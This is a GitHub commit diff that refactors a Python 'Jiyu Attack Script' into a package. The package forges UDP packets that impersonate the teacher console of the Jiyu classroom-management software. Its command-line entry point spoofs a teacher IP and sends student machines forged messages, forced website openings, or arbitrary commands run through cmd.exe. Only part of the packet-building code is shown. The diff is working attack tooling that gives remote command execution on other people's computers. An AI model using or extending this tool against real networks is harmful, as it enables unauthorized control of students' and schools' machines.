Skip to content

Commit 105090f

Browse files
committed
refactor: Implement Jiyu UDP attack module
1 parent 2bbbe31 commit 105090f

File tree

5 files changed

+59
-43
lines changed

5 files changed

+59
-43
lines changed

Jiyu_udp_attack/__init__.py

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
"""
2+
This module is used to forge Jiyu's UDP packets and send them to the student client.
3+
"""
4+
5+
from Jiyu_udp_attack.sender import send_packet, broadcast_packet
6+
from Jiyu_udp_attack.packet import pkg_message, pkg_website, pkg_execute
7+
8+
9+
__all__ = ["send_packet", "broadcast_packet", "pkg_message", "pkg_website", "pkg_execute"]

Jiyu_udp_attack/__main__.py

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
# pylint: disable=all
2+
3+
"""
4+
Jiyu Attack Script
5+
6+
This script implements a Jiyu attack by sending specially crafted UDP packets to a target IP address.
7+
It allows the user to input a message, which is then formatted and packaged into a byte array before being sent.
8+
9+
The script uses Scapy for packet manipulation and sending.
10+
"""
11+
12+
import argparse
13+
14+
from sender import broadcast_packet
15+
from packet import pkg_message, pkg_website, pkg_execute
16+
17+
18+
if __name__ == "__main__":
19+
parser = argparse.ArgumentParser(
20+
description="Jiyu Attack Script",
21+
epilog="Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/",
22+
)
23+
parser.add_argument("-s", "--teacher-ip", type=str, required=True, help="Teacher's IP address")
24+
parser.add_argument("-t", "--target", type=str, required=True, help="Target IP address")
25+
parser.add_argument("-p", "--port", type=int, default=4705, help="Port to send packets to (default: 4705)")
26+
27+
group = parser.add_mutually_exclusive_group(required=True)
28+
group.add_argument("-m", "--message", type=str, help="Message to send")
29+
group.add_argument("-w", "--website", type=str, help="Website URL to ask to open")
30+
group.add_argument("-c", "--command", type=str, help="Command to execute on the target")
31+
32+
args = parser.parse_args()
33+
teacher_ip = args.teacher_ip
34+
target = args.target
35+
port = args.port
36+
if args.message:
37+
payload = pkg_message(args.message)
38+
elif args.website:
39+
payload = pkg_website(args.website)
40+
elif args.command:
41+
payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize")
42+
else:
43+
raise ValueError("Either message or website must be provided")
44+
45+
broadcast_packet(teacher_ip, target, port, payload)
46+
print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes")

Jiyu_attack.py renamed to Jiyu_udp_attack/packet.py

Lines changed: 1 addition & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,11 @@
11
"""
2-
Jiyu Attack Script
3-
4-
This script implements a Jiyu attack by sending specially crafted UDP packets to a target IP address.
5-
It allows the user to input a message, which is then formatted and packaged into a byte array before being sent.
6-
7-
The script uses Scapy for packet manipulation and sending.
2+
This module is used to forge Jiyu UDP packets.
83
"""
94

10-
import argparse
115
import secrets
126

137
from typing import Literal, Optional
148

15-
from sender import broadcast_packet
16-
179

1810
def format_data(data: str, max_length: Optional[int] = None) -> bytes:
1911
"""
@@ -132,34 +124,3 @@ def pkg_website(url: str) -> bytes:
132124
)
133125

134126
return head + data + b"\x00" * 4
135-
136-
137-
if __name__ == "__main__":
138-
parser = argparse.ArgumentParser(
139-
description="Jiyu Attack Script",
140-
epilog="Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/",
141-
)
142-
parser.add_argument("-s", "--teacher-ip", type=str, required=True, help="Teacher's IP address")
143-
parser.add_argument("-t", "--target", type=str, required=True, help="Target IP address")
144-
parser.add_argument("-p", "--port", type=int, default=4705, help="Port to send packets to (default: 4705)")
145-
146-
group = parser.add_mutually_exclusive_group(required=True)
147-
group.add_argument("-m", "--message", type=str, help="Message to send")
148-
group.add_argument("-w", "--website", type=str, help="Website URL to ask to open")
149-
group.add_argument("-c", "--command", type=str, help="Command to execute on the target")
150-
151-
args = parser.parse_args()
152-
teacher_ip = args.teacher_ip
153-
target = args.target
154-
port = args.port
155-
if args.message:
156-
payload = pkg_message(args.message)
157-
elif args.website:
158-
payload = pkg_website(args.website)
159-
elif args.command:
160-
payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize")
161-
else:
162-
raise ValueError("Either message or website must be provided")
163-
164-
broadcast_packet(teacher_ip, target, port, payload)
165-
print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes")
File renamed without changes.

README.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,12 +12,12 @@
1212

1313
## Usage
1414

15-
你可以从 Python 导入 `Jiyu_attack` 模块,也可以使用命令行。
15+
你可以从 Python 导入 `Jiyu_udp_attack` 模块,也可以使用命令行 `python Jiyu_udp_attack`
1616

17-
使用 `Jiyu_attack.py -h` 来获取帮助信息:
17+
使用 `python Jiyu_udp_attack -h` 来获取帮助信息:
1818

1919
```
20-
usage: Jiyu_attack.py [-h] -s TEACHER_IP -t TARGET [-p PORT] (-m MESSAGE | -w WEBSITE | -c COMMAND)
20+
usage: Jiyu_udp_attack [-h] -s TEACHER_IP -t TARGET [-p PORT] (-m MESSAGE | -w WEBSITE | -c COMMAND)
2121
2222
Jiyu Attack Script
2323

0 commit comments

Comments
 (0)